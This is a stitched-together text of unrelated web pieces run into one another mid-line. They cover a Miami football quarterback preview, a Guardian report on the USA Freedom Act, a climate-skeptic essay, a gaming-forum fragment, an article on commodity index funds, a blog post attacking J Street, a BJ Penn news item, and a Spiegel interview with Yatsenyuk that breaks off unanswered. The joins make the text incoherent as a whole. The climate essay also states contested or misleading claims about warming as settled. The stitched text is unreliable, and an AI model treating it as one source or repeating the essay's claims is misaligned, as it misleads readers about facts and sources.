In most cases where true freshmen play, 1 or both of the following things happen: 1. They enroll early and participate in Spring Practice, and/or 2. Injuries to players in front of them push them into game action. That happened with Stephen Morris, who came into the Virginia game his freshman year.
Could Kaaya or Rosier play this year? Yes. But, the fact that they had to miss out on Spring Practice is a huge obstacle they will have to overcome in order to see the field this year.
Last, and definitely not least, is Jake Heaps' decision to transfer to Miami for his 5th year. Our own John Pickens wrote a nice article trying to figure Heaps out earlier this week. A former 5 star prospect coming out of High School in 2010, has moved around in college, Heaps' travels in college have been well chronicled: started at BYU (where he set records as a freshman, and then lost the QB job his sophomore year), then transferred to Kansas (where, after sitting out a season per NCAA rules, he played in 11 games in 2013, then subsequently lost the QB battle to a rising Sophomore QB who fit their spread system better), and then, finally, after graduating from Kansas, transferred to Miami.
Heaps' addition to the roster was really a reaction to losing Ryan Williams, the only QB on the roster with game experience, for an unknown amount of time. Regardless of why he's here, Heaps brazenly said he "didn't come here to be a backup." While many may not like that type of bravado, I personally love it. And, the coaches seem to as well. Heaps was the only QB on the roster to participate in the Renewed Jerseys photo shoot, and has also done 4 media interviews in the past 10 days.
How's it going to play out?
Al Golden has set the parameters of the QB competition clearly on many occasions leading up to the beginning of camp: Start with every available player getting reps, evaluate performances after the 1st intra-squad scrimmage, then cut the competition down to 2 players as the team begins to focus on preparing for the Louisville game.
So, first things first, let's take Ryan Williams out of the equation for the time being. I know that he's recovering faster than Wolverine, and will probably be available to play at some time this season. But, realistically, that won't be for the opener. He doesn't really matter in the QB battle until he's 100% healthy. So, for now, he's off the list.
Now, that leaves us with the other 4 QBs: Heaps, Olsen, Kaaya, and Rosier.
As stated above, Kevin Olsen is going to be suspended for (at least) one game. So, it's reasonable that we remove him from this conversation as well. And, when you compound this with his being suspended and not traveling to the Bowl Game, and his woeful performance in the last week of the Spring (including the Spring Scrimmage) after Ryan Williams' injury opened the door for him to secure the starting QB job, and it's not outside of the realm of possibilities to consider that Olsen's days as a Cane may be quickly coming to an end.
LATE EDIT: Al Golden went on the Joe Rose Show early ths morning and said he's not ruling Olsen out of the competition (transcription by Matt Porrter of the Palm Beach Post). While that seems reasonable, I do not share Golden's outlook. That is entirely coachspeak in my estimation. So, for this exercise, I'm still taking Olsen out of the equation, despite the aformentioned statement.
So, taking out Williams and Olsen from the competition, that leaves us with 3: Heaps, Kaaya, and Rosier.
For simple balance of the program, there's no way both freshmen will play this year. I mean, short of a run of injuries like the one that had Maryland start a freshman linebacker at QB in 2012, there's no way that they both play. And, while Rosier is incredibly athletic and has a very VERY strong arm (he's also a baseball player), Brad Kaaya was hand picked by Coley and Golden to be the QB of the future. So, bearing that in mind, let's take Rosier off the list.
That leaves us with 2: Heaps and Kaaya.
So, since we're down to 2, let's evaluate each player.
Jake Heaps
Heaps has the clear advantage on experience, having played in over 30 collegiate games to this point in his career. Heaps left Kansas because they transitioned away from the Pro Style offense that fits his skillset. At Miami, James Coley runs a system that Heaps is familiar with, and best suited to play in. Heaps' stats last year at Kansas leave a lot to be desired. Take a look for yourself:
Name Completions Attempts Completion % Yards TD INT Sacks Yards per attempt Jake Heaps 128 261 49.0% 1414 8 10 23 4.3
Now, while those traditional stats (and the advanced ones I didn't list) paint a poor picture of Heaps' performance, there's one thing that the stats don't tell you: Kansas was an absolutely atrocious team. The Jayhawks struggled to a 3-9 season and were ranked 101 in Football Outsiders' F+ rankings. For comparison, teams with similar rankings were 1-11 California, and Temple, Kentucky, South Florida and Army, who all sported 2-10 records.
Kansas simply didn't have talent, and Heaps was the victim of more than a few dropped passes and wrong routes by his receivers. Still, that's not excusing his stats. If he starts here, he CLEARLY needs to do better.
Now, in his favor, in addition to the system fitting his talents, the talent on the Offensive Line and at the skill positions here is the best that Heaps has ever played with BY FAR. You all know the names: Duke Johnson. Gus Edwards. Joe Yearby. Stacy Coley. Malcolm Lewis. Herb Waters. Philip Dorsett. Clive Walford. Beau Sandland. Stan Dobard. Ereck Flowers. Shane McDermott. Jon Feliciano. And more. That wealth of offensive talent SHOULD allow for the QB to do their job efficiently, and take calculated chances to make plays down the field.
For a good article breaking down some Heaps game film (with video included), check out this piece by Matt Porter of the Palm Beach Post.
Brad Kaaya
The main thing with Heaps is him coming in and playing in a way that's different than we've ever seen him. The main thing with Kaaya? He has to come in and show us who he is.
Kaaya, who led his team to a California State Championship in 2013, is an unknown commodity. Yes, we've seen the highlights. Yes, we know that he was hand selected by the coaching staff to be the QB of the future. Yes, we know that he's big and tall and has a strong arm. Yes, we know that his mom played Felicia in the CLASSIC movie Friday. (You didn't know that? Pete Ariz of CanesInSight.com had this interview with her last year about that and more.)
Kaaya has the tools to be a successful collegiate QB. The question is does he have the mental focus to be a successful collegiate QB right now? I know one person who thinks that he does.
My prediction: Kaaya will start at least one game this season. He is too talented — Peter Ariz (@PeterAriz) August 2, 2014
Now, if Pete's prediction is true, that means that Kaaya will have ascended to the top of the QB depth chart, and would (presumably) start the remainder of the season. In my mind there's only one way that you can do that: You know, without a shadow of a doubt, that he's THE GUY for this year, and going forward.
Being a QB is more than just executing throws. You have to make all the right reads. Get the terminology of the playbook down. Hell, have you guys seen an episode of Hard Knocks with a rookie QB? They can barely even call the plays. That same struggle exists for college freshmen.
While Heaps, my other presumed finalist, has to prove he can be more efficient in running the team than he did at Kansas, Kaaya has to not only show that he can be efficient and effective, but game changing and dynamic. That's what you have to do to win the starting job as a freshman. And, with a team as talented as Miami is, if you're not AT WORST the same level of player as the older guys in front of you, freshmen are going to sit.
Kaaya's job is to prove that he's ready for prime time right now. And, if you listen to the statements being made by other UM players since he's arrived on campus, he seems to be doing just that. But, 7-on-7's during OTAs is one thing. Doing it against the 1st team defense in full pads and full contact during fall camp is entirely another.
It's not an article with breakdown, but you can see Brad Kaaya's senior year highlights below:
Final Prediction
Starter: Jake Heaps
Backup: Brad Kaaya
Wildcard: Ryan Williams (is he back by the Nebraska game? Sooner? Later?)
Depth Chart filler: Kevin Olsen, Malik Rosier
Miami has a wealth of talent on offense, and will be in a position to win most of their games. With Kaaya on board for the next several years, there's no need to press him into action unless he's far and away the best option. So, to me, this is an easy decision.
Start Heaps until Williams is back, then go from there.
What say you, Canes fans? (comment and vote below)The US Senate on Tuesday passed a bill to end the bulk collection of millions of Americans’ phone records, ushering in the country’s most significant surveillance reform since 1978 two years after NSA whistleblower Edward Snowden’s revelations to the Guardian.
Senators voted 67-32 to pass the USA Freedom Act, which overwhelmingly cleared the House of Representatives. Hours later, Barack Obama signed the legislation, after saying he would “work expeditiously to ensure our national security professionals again have the full set of vital tools they need to continue protecting the country”.
The passage of the USA Freedom Act paves the way for telecom companies to assume responsibility of the controversial phone records collection program, while also bringing to a close a short lapse in the broad NSA and FBI domestic spying authorities. Those powers expired with key provisions of the Patriot Act at 12.01am on Monday amid a showdown between defense hawks and civil liberties advocates.
Edward Snowden: NSA reform in the US is only the beginning Read more
The American Civil Liberties Union praised the passage of the USA Freedom Act as “a milestone” but pointed out that there were many more “intrusive and overbroad” surveillance powers yet untouched.
“This is the most important surveillance reform bill since 1978, and its passage is an indication that Americans are no longer willing to give the intelligence agencies a blank check. It’s a testament to the significance of the Snowden disclosures and also to the hard work of many principled legislators on both sides of the aisle,” Jameel Jaffer, the group’s deputy legal director, said in a statement.
But the passage of the Freedom Act will mean the re-starting of the very program Congress voted to kill.
The NSA, facing legal uncertainty after the Senate failed to pass the bill last month, shut down the bulk collection of US phone records at 8pm ET on Sunday 31 May. But since the bill calls for a grace period of six months to “transition” the program so the phone companies remain the repositories of metadata they generate, the dragnet is now set to relaunch just to be shut down again in December.
A senior administration official told the Guardian the NSA was facing “a restarting process”.
Oregon senator Ron Wyden, a Democrat on the intelligence committee who has railed against NSA surveillance for years, praised the breakthrough but said the work is far from complete.
“This is the only beginning. There is a lot more to do,” Wyden told reporters after the vote. “We’re going to have very vigorous debate about the flawed idea of the FBI director to require companies to build weaknesses into their products. We’re going to try to close the backdoor search loophole – this is part of the Fisa Act and is going to be increasingly important, because Americans are going to have their emails swept up increasingly as global communications systems begin to merge.”
He also pointed to a proposal in the House “to make sure government agencies don’t turn cell phones of Americans into tracking devices” as another target for NSA reformers.
Facebook Twitter Pinterest Edward Snowden: ‘If I end up in chains in Guantánamo I can live with that’
In a particular blow to Mitch McConnell, the Republican majority leader, and Richard Burr, the intelligence committee chairman, the Senate rejected a series of amendments that were designed to weaken the surveillance and transparency reforms contained in the USA Freedom Act.
McConnell and Burr had led the effort in recent weeks to reauthorize the Patriot Act in its current form, ignoring the will of their colleagues in the House and a majority of the American public.
Adam Jentleson, a spokesman for the Democratic leader, Harry Reid, criticized McConnell’s “toxic mix of poor planning, misguided bravado and stunning lack of communication with his fellow Republicans”.
“The most remarkable thing about the events of the past week is that they were utterly and completely avoidable, but Senator McConnell failed to heed the many warning signs that flashed bigger and brighter than the marquees on the Vegas strip,” Jentleson said in an email.
Despite support for the USA Freedom Act from the House, the Obama administration and the intelligence community, McConnell continued to fight changes to the Patriot Act and went from pushing a full renewal through 2020, to a short-term extension to avoid a lapse, to finally trying to water down the House bill. By the end of it all, the majority leader was left with no other option but to let the USA Freedom Act pass unamended.
McConnell, who is typically known for his calm and collected demeanor, defended his position in a forceful speech on the Senate floor.
Facebook Twitter Pinterest Edward Snowden: ‘I don’t want to live in a society that does these sort of things’
The USA Freedom Act is “a resounding victory for those who currently plotted against our homeland”, he said. “It does not enhance the privacy protections of American citizens, and it surely undermines American security by taking one more tool from our war fighters, in my view, at exactly the wrong time.”
Last year, an independent analysis of hundreds of terrorism cases in the US concluded that the NSA’s collection of phone records has had no distinguishable impact on preventing acts of terrorism.
But McConnell accused the Obama administration’s record on foreign policy of undermining national security to make a last stand against reining in the government’s surveillance methods. In a rebuttal, Reid said McConnell was trying to “divert attention” from his own refusal to take up the NSA debate earlier while also dismissing the work of his Republican counterparts in the House.
“He is in effect criticizing the House of Representatives for passing this Fisa bill, to reauthorize it in a way that’s more meaningful to the American people and makes us more safe,” Reid said. “Is he criticizing the speaker for working hard to get this bill reauthorized in a fashion that the American people accept? I don’t think any of us … need a lecture on why we are less secure today than we were a few days ago.”
Among the amendments that failed were a measure that would weaken the USA Freedom Act’s establishment of a de facto privacy advocate to, in certain cases, argue against the government on behalf of privacy rights; an effort to allow the phone collection program to continue for a year instead of just six months, as proposed by the House bill; and another provision requiring the US intelligence chief to certify the implementation of the new phone-records regime.
During the surveillance battle, McConnell miscalculated the lengths to which his colleague from Kentucky, Republican presidential candidate Rand Paul, would go to block any renewal of the Patriot Act without reforms. Paul has made his longtime opposition to the NSA’s surveillance dragnet a key tenet of his 2016 campaign and followed through on his pledge to let the Patriot Act expire – although he voted against the USA Freedom Act on Tuesday, arguing that it does not go far enough.
Facebook Twitter Pinterest Edward Snowden: ‘a right to privacy is the same as freedom of speech’
Vermont senator Bernie Sanders, an independent who is challenging Hillary Clinton for the Democratic Party’s nomination in 2016, also voted against the bill for similar reasons.
“We must keep our country safe and protect ourselves from terrorists, but we can do that without undermining the constitutional and privacy rights which make us a free nation,” Sanders said in a statement. “This bill is an improvement over the USA Patriot Act but there are still too many opportunities for the government to collect information on innocent people.”
Other presidential candidates in the Senate were in different camps: Texas senator Ted Cruz supported the USA Freedom Act, of which he was a co-sponsor, while the Florida senator Marco Rubio opposed the bill, arguing instead for a full Patriot Act renewal.
New Mexico senator Martin Heinrich, another Democrat on the intelligence committee, praised the bill’s passage on Tuesday, saying: “Ben Franklin would have been proud of this outcome.”
The US government’s bulk collection program was first revealed two years ago by the Guardian, based on documents obtained from the former NSA contractor Edward Snowden. A federal appeals court ruled the program illegal last month, all but ensuring its days were numbered.
Snowden hailed the movements in Congress and the courts as “without precedent” in an interview with the Guardian last month.
“The idea that they can lock us out and there will be no change is no longer tenable,” Snowden said. “Everyone accepts these programmes were not effective, did not keep us safe and, even if they did, represent an unacceptable degradation of our rights.”
Only recently have many lawmakers begun to give Snowden credit for kickstarting the debate. “It is clear we wouldn’t be here without that information,” Republican senator Jeff Flake told the Huffington Post.
For privacy advocates in Congress, the USA Freedom Act is just the beginning.
Libertarian-minded Republicans in the House, who are allies of Paul’s, said on Tuesday they will attempt to use a must-pass defense appropriations bill as a vehicle to advance more surveillance reforms. Their efforts will include blocking the NSA from undermining encryption and barring other law enforcement agencies from collecting US data in bulk.
Ben Jacobs and Spencer Ackerman also contributed to this report.There are numerous myths surrounding those who are wrongly labeled “deniers”. Most of them can be distilled into six basic accusations.
Global warming “deniers”: myth-conceptions abound
They’ve been compared to “flat earthers” and even “Holocaust deniers”. And, as the recent “Climategate” email scandal reveals, they have been blacklisted in certain professional circles. Scientists who disagree with the current consensus on Anthropogenic Global Warming (AGW) are dismissed by some colleagues and politicians as ignorant and irrelevant. Though there are certainly cranks out there who lend credence to this stereotype, not everyone who rejects the idea that global warming is a planetary crisis brought about by burning fossil fuels deserves to be vilified.
There are numerous myths surrounding those who are wrongly labeled “deniers”. Most of them can be distilled into six basic accusations:
1. “Deniers” believe the climate has not warmed.
No one questions that there has been a slight, but unmistakable increase in global temperature since the end of the “Little Ice Age” in the early nineteenth century. Global average surface temperature has risen approximately 0.9°C since 1850. But not all scientists attribute this change to the human addition of CO2 and other greenhouse gases to the air. Those who oppose the prevailing view on AGW point out that since temperatures began to increase well before CO2 levels were considered significant (c. 1940), a considerable part of this warming is due to natural variations in the climate. Such variations in the past have brought about abrupt climate changes with large swings in temperature.
Numerous articles have appeared in scientific journals over the last several years documenting a warm bias in official temperature measurements. This bias, which may account for up to half of the reported warming, is due largely to changes in land cover—especially the geographic expansion of cities which creates “urban heat islands.” An ongoing survey of over 1000 climate reporting stations in the United States, shows that 69% are poorly sited resulting in errors of 2°C to 5°C or more (www.surfacestations.org). Surface data has also been impaired from station dropout. Over two-thirds of the world’s stations were dropped from the climate network around 1990. Most of them were colder, high latitude and rural stations.
2. “Deniers” are not real scientists.
Some of the world’s foremost atmospheric scientists, physicists, astronomers, and geologists disagree with the current consensus on anthropogenic global warming. These include Richard Lindzen (Massachusetts Institute of Technology), Roger Pielke Sr. (University of Colorado), Roy Spencer and John Christy (University of Alabama), Willie Soon (Harvard-Smithsonian Center for Astrophysics), Robert Carter (James Cook University, Australia), Fred Singer (University of Virginia), Will Happer (Princeton University), and Nils-Axel Mörner (Stockholm University). In addition to these, there are hundreds of credentialed scientists at universities around the world who reject the hypothesis that CO2 induced warming dominates changes in earth’s climate system.
Though science is not based on authority, the inclusion of such high profile scientists should raise red flags when advocates claim that the “science is settled.”
3. “Deniers” are a tiny minority of scientists.
“Nay-sayers” are overshadowed by a vast majority of learned scientific bodies that support the consensus. But most scientific organizations, such as the American Meteorological Society, the American Physical Society, and the National Academies of Science, do not poll their members. Decisions and position statements are made by a small group of officials at the top of the organization. This has created sharp unrest within some professional societies.
The American Meteorological Society is a case in point. A recent survey of AMS broadcast meteorologists revealed that 50% of the respondents disagreed, and only 24% agreed, with the statement that, “Most of the warming since 1950 is very likely human-induced.” When asked if, “Global climate models are reliable in their projections for a warming of the planet,” only 19% agreed, while 62% disagreed (Bulletin of the American Meteorological Society, Oct. 2009).
As the number of those who oppose the consensus grows, it appears that the “deniers” are not a tiny minority as is often claimed.
4. “Deniers” are anti-environmental shills of Big Oil.
Only a small number of scientists who challenge the current consensus have direct ties to the fossil fuel industry. Most are funded by university departments, governments, or private institutions. Many receive no funding at all. Unfortunately, no amount of evidence can unseat the deeply held belief among some, that opposition to the AGW hypothesis is part of a conspiracy funded by big oil. The underlying fear is that any scientific research subsidized by big corporate money will be compromised.
But the blade cuts both ways. Climate research among those who espouse the prevailing view is supported by billions of dollars from government grants and green industries that have a vested interest in global warming. Why should research conducted or funded by environmental organizations and green energy be regarded as more reliable? Whether science is bought and sold by deep pockets, or made subservient to a political or philosophical ideology, the result is the same: Truth is compromised.
5. “Deniers” think CO2 is irrelevant.
The issue is not whether CO2 is irrelevant, but, rather, how relevant is it? The U.N.’s Intergovernmental Panel on Climate Change (IPCC) maintains that CO2 induced warming dominates the climate system. They project that increasing emissions will result in a 2°C to 6°C rise in global average temperature by the year 2100.
This has been widely misunderstood by the public to mean that energy absorbed and reradiated by atmospheric CO2 is the direct cause of the warming. In reality, the IPCC claims that CO2, acting alone, will result in only a 1.2°C rise in temperature. The rest depends on whether the climate amplifies (positive feedback) or diminishes (negative feedback) CO2 forcing.
This is where the real dispute lies. Climate “sensitivity” is based on numerous interactions that are poorly understood. Scientists who disagree with the IPCC’s conclusions are not contesting the fact that CO2 can cause atmospheric warming (.3°C according to more conservative estimates). They disagree with the science behind the water vapor feedback mechanisms that are said to amplify this warming on a global scale. The complex and chaotic processes underlying these mechanisms, especially as they relate to cloud formation and precipitation, exceed the limits of our knowledge. As a result, climate feedback is not simply the product of numerical calculations (“straightforward physics”) as is often supposed, but depends extensively on large scale estimates (parameterizations) by computer modelers.
“Deniers” demand empirical proof and are quick to point out that the water vapor feedback hypothesis is poorly supported by hard evidence, and even contradicted by the absence of warming in both the oceans and the atmosphere over the last several years. In fact, some scientists (Lindzen, Spencer, etc.) theorize that water vapor and cloud cover act like a thermostat (negative feedback) to maintain the earth’s temperature in approximate equilibrium.
6. “Deniers” believe humans have no impact on climate.
Scientists who challenge the status quo point out that we live in regional and local climates with vast differences in temperature and precipitation—differences that far outweigh changing global averages. Given these differences, the idea of “average global temperature” seems rather meaningless. More importantly, the human impact on climate is far greater at regional and local scales than it is on a global scale. These impacts include land use and land cover changes (e.g., deforestation, agriculture, urbanization) and aerosol pollution (e.g., soot, sulfur, reactive nitrogen, dust). Any one of these modifications can significantly alter temperature, evaporation, cloud cover, precipitation, and wind over a region—and perhaps beyond.
Though the global surface area of agricultural land alone is greater than the size of South America, the IPCC has largely ignored the influence of land cover and aerosols on regional climates. Moreover, climate models have shown no skill in projecting regional climate changes decades in advance.
But a wave of new research is forcing scientists to reevaluate the impact of these factors. Some have already concluded that the effect of CO2 has been overstated while regional changes in land use and aerosol pollution have been grossly underestimated. One recent study of U.S. climate has concluded that land use changes alone may account for 50% of the warming since 1950 (Environmental Science and Technology, December, 2009).
“Deniers” vs. the “Consensus”
Though “deniers” unanimously agree that CO2 is not the main driver of climate change, they represent a diversity of scientific viewpoints on issues of climate change, green energy, and the environment—perhaps a greater diversity than scientists who are in lock-step with the consensus. The Climategate scandal has exposed a concerted effort on the part of some IPCC scientists to enforce this consensus by denying access to crucial data and marginalizing anyone who questions the scientific basis of their conclusions. Stealthy tactics like this undermine scientific progress which depends on a robust exchange of information and ideas.
Skepticism is at the heart of the scientific method. So it is ironic that those who have challenged the prevailing orthodoxy are regarded as outcasts. Fortunately, science is not settled by popular vote or authority, but by empirical evidence. History has not always vindicated the majority view or justified the assumed authority of “official science.” Consequently, it may be the “deniers”, rather than their opponents, who have the last word on global warming.
Bill DiPuccio served as a weather forecaster and lab instructor for the U.S. Navy, and a Meteorological/Radiosonde Technician for the National Weather Service. More recently, he was the head of the science department for Orthodox Christian Schools of Northeast Ohio.RaGe Profile Blog Joined July 2004 Belgium 9863 Posts #2 I always like these. Appreciate the good work! Moderator sometimes I get intimidated by the size of my right testicle
PET Profile Joined May 2010 Romania 419 Posts #3 Phiu. 17 hours of work in the first day... but I did managed to take a few pictures. I will upload them later. I just got home!
Anyway, it was awesome.
My favorite moment was.... holding 50 Hearthstone Beta Keys... and having to give them to the public :D Honest reviews & shows about the gaming culture from your favorite PET! www.GamerPET.com
DTDstarcraft Profile Blog Joined April 2013 Netherlands 164 Posts Last Edited: 2013-09-26 10:37:59 #4 On September 17 2013 03:19 PET wrote:
Phiu. 17 hours of work in the first day... but I did managed to take a few pictures. I will upload them later. I just got home!
Anyway, it was awesome.
My |
of oil three months from now at a price of $100. When you purchase the contract, you are required to put up some amount of money on margin, ostensibly to ensure that you have the ability to pay. Let’s say we put up $10. This money is typically put in an escrow account and invested in short-term, risk-free Treasury bills. After two months it turns out we were right and oil prices went up to $110. Then, we sell our contract to take delivery at $100 for $110 (the price at which a commodity is currently trading is called the “spot price”) which nets us a profit of $10. This profit is called the “spot return.” We also want to continue to stay long on oil, so we need to “roll” our money over into another futures contract. We purchase a new contract for delivery in three months for $120. Notice that we sold a contract for $10 profit (spot return) but now rolled it into a new contract that was $10 more expensive. Our $10 loss is called the “roll return.” What happens to our money that is earning in the escrow account? That return is called the “collateral return” (because we put the money up as collateral against our contract).
So in this example, our spot return ($10) and our roll return (-$10) cancel each other out and we are left just our collateral return, which is the same as the return on T-bills. Even though oil prices were rising, it doesn’t look like we made out very well because each futures contract was progressively more expensive. When commodities’ futures contracts are progressively more expensive, it is said to be in “contango,” which, as we saw in our example, is usually unprofitable for those looking to continue to maintain long-term investments in that market. The opposite of contango is “normal backwardation” or “backwardation,” which means that as futures contracts get longer the prices fall. This is more profitable to long-term commodities “investors.”
Prior to the Commodity Futures Modernization Act 2000 (CFMA) and the advent of commodities index funds, markets were usually in normal backwardation (good for long-term investors). For the last 10 years, however, a vast majority of markets have been gripped in a vicious contango. The oil market is a prime example.
If this is confusing, then just remember in the chart below, green means it’s easy for commodities index funds to make money and red means it’s difficult.
(Source: bettermarkets.com data)
When markets are in contango, it is difficult for funds to earn a profit despite rising prices. So why are most commodity markets in contango?
Institutional Investments Have Had an Impact
Commodity markets were and are intended as a place for producers and/or users of commodities to enter into contracts for the delivery or sale of commodities at guaranteed prices. The markets helped reduce volatility in commodity prices and allowed producers and consumers to lock in prices and better manage their budgets and production. Participants in commodity markets can be divided into two categories: hedgers and speculators.
Hedgers
Hedgers are defined as those that produce or intend to consume the commodity and are using financial instruments to lock in a set price. They may be producers, such as farmers, mining companies, and oil and gas exploration companies. They may also be consumers of the commodity, including processors or manufacturers, such as apparel companies hedging the price of cotton, a tire manufacturer hedging the price of rubber, or a utility company hedging the price of natural gas or coal.
Speculators
There are two categories of speculators. The first type is a speculator that hoards the physical commodity itself. An example of this would be a speculator chartering tankers and filling them with oil and then mooring them offshore with the hopes of selling the oil at a higher price later. The second type is someone who buys a future contract (or sells it) on one of the commodity exchanges and hopes to resell that same contract at a later date or when it expires at a higher (lower) price. In both cases, the individual does not intend to purchase the commodity for consumption.
The chart below shows the total assets that are linked to the S&P Goldman Sachs Commodity Index.
(Source: bettermarkets.com data)
Commodity index funds track other indexes, such as the Dow Jones-UBS Commodity Index, but the S&P GSCI remains the most popular.
To understand how this $350B inflow of speculative money has influenced the commodity markets, let’s first look at the participants of the markets pre-CFMA 2000 and post-CFMA 2000 (the index fund era).
Participants in Commodity Markets Have Changed
Historically, most commodity markets operated with hedgers making up 70-90% of the market and speculators making up the remainder. Some level of participation by speculators is necessary to maintain a healthy market. Commodity markets pre-2000 with speculators making up 10-30% of the market functioned well. Now, however, the percentage of speculators has risen dramatically. Because demand is no longer driven by on the ground fundamentals, commodities markets are becoming increasing volatile and increasingly correlated with the stock market.
The chart below shows the cotton market in 1996, 2008, and 2010. In 1996, speculators made up 20- 30% of the market and hedgers made up the rest. By 2010, speculators accounted for almost half of the market.
(Source: bettermarkets.com data)
The oil market shows an even more pronounced change in the types of activity. From 1995 to 1999 speculators made up only about 10% of the market. Fast forward to 2006-2010 and speculators now dominate the market, making up almost 70% of the market!
(Source: bettermarkets.com data)
Some markets also have data available on the number of speculators that are actually just index funds (think the commodity ETFs and mutual funds that are springing up). Again, we see that speculators made up the minority of the market (about 35%) from 1995 to 1999. Then, from 2006 to 2010, they made up the majority of the wheat market. We can also see that the increase in speculators is almost all due to commodity index funds.
(Source: bettermarkets.com data)
Long-Term Performance of Commodity Investments Is Poor
The proof is in the pudding and long-term real returns (and I do mean long term!) The chart below goes all the way back to 1871, showing that commodities returns have been barely positive.
Looking at three community index funds most often recommended to investors, we can see the same thing–minuscule returns or even a loss of money.
PowerShares DB Commodity Index Tracking Fund (NYSE:DBC)
As shown by the chart below, this fund has earned on average only 1.62% annually.
iShares S&P GSCI Commodity-Indexed Trust (NYSE:GSG)
Things are even worse for the iShares product, which shows losses of -5.49% per year on average.
Elements Rogers International Commodity Index ETN (NYSE:RJI)
The champion of losing money is the Elements Rogers International Commodity Index ETN, which managed to lose investors -19.9% over the lifetime of the product.
Summary
A flawed market structure, a bet against human ingenuity, and atrocious long term returns make commodity index funds our Dumb Investment of the Week.
Do you want an asset class that has a return uncorrelated to the market? Stuff your money under the mattress. You’ll save yourself the high fees and avoid any investment losses. If you want to invest, stick to a diversified portfolio of traditional assets like stocks, bonds, and real estate.It was inevitable. Constantly under pressure from the Jewish center-right (Reform rabbis, for instance), J Street has thrown in the towel. Read its document of surrender.
In response to the letter from Christian denominations urging that aid to Israel be compliant with U.S. law, J Street has joined Abe Foxman of the Anti-Defamation league and the half-million a year hacks that run the other Jewish organizations to blast the Christians. (See Foxman letter).
J Street agrees with them that aid to Israel is an entitlement. It must never be questioned unless you also add ” criticism of Israel’s behavior with appropriate criticism of, for instance, rocket fire from Gaza into Israeli civilian areas.” You must also ”put the present situation into a historical or political context that might provide a fuller appreciation for the complexity of the Israeli-Palestinian conflict over many decades. “
Blah, blah, AIPAC, blah. The church letter is about the $2.5 billion aid package to Israel. As far as I know, the U.S. does not provide the rockets fired from Gaza. As for putting the current situation in a context that “ might provide a fuller appreciation for the complexity of the Israeli-Palestinian conflict over many decades,” I say tell that to the people of Gaza, including the 1400 civilians (300 kids) who heard all about that context in 2009-2010.
I have no doubt that the people who run J Street fought the rabbis and donors to avoid having to put out this statement. They always fight. They always give in. (I hear that Rabbi David Saperstein of the Reform movement threatens to pull “my rabbis” out if J Street strays too far from AIPAC. He’s the lobby’s enforcer)
So I feel sorry for J Street. But I do not see any reason to support it. It is, at the end of the day — in fact, long before the end of the day — just another Jewish organization that lacks the courage of its supposed convictions.
If Israel attacks Iran, I am sure Saperstein will demand that J Street will go along with that too. It will only stand tall when it has permission.
J Street: Epic Fail.MMA legend BJ Penn during a press conference in Manila on Nov. 29, 2011. Photo by Dennis Gasgonia for abs-cbnNEWS.com
MANILA, Philippines - Former Ultimate Fighting Championship (UFC) champion BJ "The Prodigy" Penn is predicting a victory for Filipino boxing icon Manny Pacquiao against undefeated American boxer Floyd Mayweather Jr.
A Pacquiao-Mayweather mega-fight may finally happen on May 5, 2012, with Pacquiao confirming last week that negotiations were ongoing with Mayweather's team.
"Pacquiao, he's my kind of fighter, I'm a fan of his," Penn told abs-cbnNEWS.com. "I like his style. He tries to go for the finish."
Penn said Mayweather is also a good fighter and is also capable of winning against Pacquiao, but he prefers it if the Filipino champion ended up the victor.
"I would like to see Pacquiao win because I know if Pacquiao wins, it's gonna be an exciting victory," he said.
The former UFC lightweight and welterweight champion says boxing is a major part of the sport of mixed martial arts.
"Boxing is part of MMA. You need to be able to know how to fight MMA," Penn said. "Boxing is huge, and it all blends in somehow with ultimate fighting."SPIEGEL: Mr. Prime Minister, when you took office in February, you compared your mission to that of a kamikaze pilot. How close are we to a crash?
Yatsenyuk: I was recently asked the same question by Chancellor Angela Merkel. I answered that I am sitting on a ticking time bomb. She said: "Previously, you said you are a kamikaze pilot, and today it's a ticking time bomb, so things have improved."
SPIEGEL: Is the situation so hopeless that one must resort to gallows humor?
Yatsenyuk: Not hopeless, but complicated. We are not only facing economic disaster and the question of peace and war. Ukrainians are traumatized by this Moscow-led aggression that has cost the lives of 5,000 people.
SPIEGEL: Is the West doing enough to support your country?
Yatsenyuk: The West is doing what it can.
SPIEGEL: You don't sound satisfied.
Yatsenyuk: The West's room for maneuver vis-a-vis Putin is limited. It is positive that the United States and the European Union show a great deal of unity. Putin did not expect that. He thought he could split the EU, but the opposite happened: The EU imposed sanctions and even scaled them up. Of course we need more financial and military aid, the supply of lethal weapons is of crucial importance to us.
SPIEGEL: NATO stated clearly that there's no military solution to the conflict. But you seem to think differently.
Yatsenyuk: A military solution would not be the best. My aim is not to start a new offensive against Russian soldiers, but to deter Russia from further aggression. The thing is that the EU is always playing by the rules. Putin is always playing with the rules. At the beginning, many thought that, after annexing Crimea, the beast would calm down. But he continued by supporting the so-called separatists in eastern Ukraine. When we started our anti-terror operation, Putin sent in regular troops. Appeasement has never worked and it won't work with Putin. Of course one can argue that Crimea belonged to the Czarist Empire two centuries ago. One can quarrel over what territory, historically, belongs to whom. But that does not give Russia the right to violate Ukraine's territorial sovereignty.
SPIEGEL: Is it helpful to label the Ukrainian military offensive as an anti-terror-operation at a point when many people in eastern Ukraine already view the government in Kiev with suspicion?
Yatsenyuk: For a long time we have been trying to win the hearts of the people in Donetsk and Luhansk. My government was ready to devote additional powers to the regions. In addition, taking into account the interest of the Russian minority, we have not moved to implement the decision by parliament on the language law and have restored the possibility for the regional councils to grant special status to regional languages, including the Russian language. But when we were attacked militarily it was our duty to defend our country.
SPIEGEL: Your government has stopped paying salaries and pensions to people in the territories not controlled by your government. It seems that you've already given up these parts of eastern Ukraine.
Yatsenyuk: That's not true. We still supply gas and electricity. That costs us $200 million per month. Those who register can receive the money in other regions. We are not able to pay salaries or refill automated teller machines because the terrorists rob the money transports.
SPIEGEL: How do you intend to make peace in eastern Ukraine?
Yatsenyuk: First we must deescalate the situation, and that is only possible on the basis of the Minsk Protocol. I am skeptical about deals with Russia, but there's nothing else we have on the table. Russia has supported and signed it. It provides that all Russian soldiers have to be pulled out. In exchange, we have promised to bestow the Donbass region with a special status and we have passed an amnesty law. The Minsk deal also stipulates that the border will be controlled by Kiev.
SPIEGEL: Is this the reason you are planning to build a 2,000-kilometer (1,243 mile) long fence along the border to Russia?
Yatsenyuk: It is also in the European interest that the border between Ukraine and Russia is well protected and illegal immigrants, weapons or drugs can no longer be smuggled via this border into Europe.
SPIEGEL: It would create an Iron Curtain between two brother people.
Yatsenyuk: I'm always very cautious about this "brotherhood" concept. Frankly speaking, I don't need such relatives who grab my land and kill my people.
SPIEGEL: What else would have to happen?
